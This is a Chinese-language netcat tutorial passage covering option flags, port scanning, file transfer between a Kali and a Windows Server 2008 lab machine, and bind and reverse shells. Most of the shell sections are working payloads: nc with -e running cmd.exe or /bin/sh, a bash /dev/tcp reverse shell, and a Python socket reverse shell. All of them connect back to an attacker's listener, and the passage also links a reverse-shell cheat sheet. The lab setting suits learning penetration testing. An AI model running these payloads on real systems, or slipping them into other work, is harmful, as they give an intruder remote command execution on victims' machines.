5.1 Windows下使用
使用命令nc.exe -h
可以查看命令使用介绍
nc.exe -h即可看到各参数的使用方法。基本格式:nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port] -d 后台模式-e prog 程序重定向,一旦连接,就执行 [危险!!]-g gateway source-routing hop point[s], up to 8-G num source-routing pointer: 4, 8, 12, ...-h 帮助信息-i secs 延时的间隔-l 监听模式,用于入站连接-L 连接关闭后,仍然继续监听-n 指定数字的IP地址,不能用hostname-o file 记录16进制的传输-p port 本地端口号-r 随机本地及远程端口-s addr 本地源地址-t 使用TELNET交互方式-u UDP模式-v 详细输出--用两个-v可得到更详细的内容-w secs timeout的时间-z 将输入输出关掉--用于扫描时 参考链接:https://blog.csdn.net/zhangge3663/article/details/84379843
5.2 端口扫描
扫描本地端口
nc64.exe -nv 127.0.0.1 80
nc64.exe -nv 127.0.0.1 3389
扫描其他的机器端口
批量扫描端口信息
nc -v -z 192.168.238.13 3389-339
据说缺点就是很慢!!!
5.3 文件传输
文件传输的时候,可以简单分为两种模式
5.3.1 先监听,再接收
首先在接收文件的机器上监听端口,再发送文件,文件直接发送到接收机的指定端口
在这里使用kali发送文件,使用winserver08
进行接收文件实验
kali ip:192.168.238.15
winserver08: 192.168.238.13
08开启监听
nc.exe -l -p 7777 > get.txt
这里是接收从7777端口的数据全部写到get.txt文件里面去
在kali里面将文件传输过去
nc 192.168.238.13 7777 < 1.txt
这时候文件传输其实已经结束了,但是两个并不会直接断开,需要在08里面检测一下文件是否已经传输完成。
这里显示文件是已经传输完成了,可以在kali中使用ctrl+c结束传输,kali结束之后,08中传输自动退出
5.3.2 先发送,再接收
kali先发送文件到本地的端口上,等待接收机主动连接接收文件
先在kali上启动命令
nc -l -p 7777 < 1.txt
然后在接收文件的08上访问kali的ip地址进行接收
nc64.exe 192.168.238.15 7777 > 1.txt
同样,nc在接收完之后是不会主动停止的,需要在08上查看下文件是否接收正常。
当然还可以传文件夹或目录,有兴趣的可以去看下,而且也可以提供非常简易的聊天功能,不过这种方法比较笨拙,不推荐使用
5.4 反弹shell
反弹shell,一共有两种模式
5.4.1 正向连接shell
攻击机直接连接受害者机器
此时:
- 受害者机器 win08
192.168.238.13
- 攻击机 kali
192.168.238.15
在受害者机08上运行
nc64.exe -lvp 7777 -e c:\windows\system32\cmd.exe
然后在攻击机上运行
nc 192.168.238.13 7777
如果反过来
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
在受害者机器上运行
nc -lvp 7777 -e /bin/sh
然后在攻击机上主动连接受害者机器运行
此时成功
5.4.2 反向连接shell
和上面的相反,需要受害者机器主动连接攻击机
此时:
- 受害者机器 win08
192.168.238.13
- 攻击机 kali
192.168.238.15
在攻击机上首先监听端口
nc -lvp 7777
然后在受害者机器上运行,主动连接攻击机
nc64.exe 192.168.238.15 7777 -e c:\windows\system32\cmd.exe
如果反过来
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
首先在攻击机上开启监听
在受害者机器上运行
nc 192.168.238.13 7777 -e /bin/sh
攻击机上就可以运行命令:
此时成功
5.5 受害机无nc的情况
如果受害者机器没有nc的话,这里就需要使用其他的方法来反弹shell了
5.5.1 bash反弹
使用方法:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
其中8080是端口,10.0.0.1是监听机的ip地址
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
首先在攻击机上开启监听
nc64.exe -lvp 7777
在kali上执行bash命令
bash -i >& /dev/tcp/192.168.238.13/7777 0>&1
在kali上无法执行,应该是使用了zsh的原因,这里启一个docker来做
然后在攻击机08上就接收到了反弹的shell
5.5.2 python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
此时:
- 受害者机器 kali
192.168.238.15
- 攻击机 win08
192.168.238.13
首先在攻击机上开启监听
nc64.exe -lvp 7777
在kali上执行python反弹命令,注意:这里使用的是python2,不是python3
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.13",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
在攻击机就可以接收反弹的shell信息了
5.5.3 其他
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
这里提供了很多的方法,可以进行shell的反弹
参考资料:
https://mp.weixin.qq.com/s/ma8ROHh1_giS4Yn13DEr-Ahttps://blog.csdn.net/wyvbboy/article/details/61921773https://www.cnblogs.com/nmap/p/6148306.htmlhttps://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247487442&idx=1&sn=eaa8bbffd318c290ffd93917346f8e06&chksm=ea37f088dd40799ef6cda27c36ace8812a1ecd656ade4d3d31c833c7d5b1dad95724f0eef6d9&scene=21#wechat_redirecthttps://blog.csdn.net/mtj66/article/details/74959287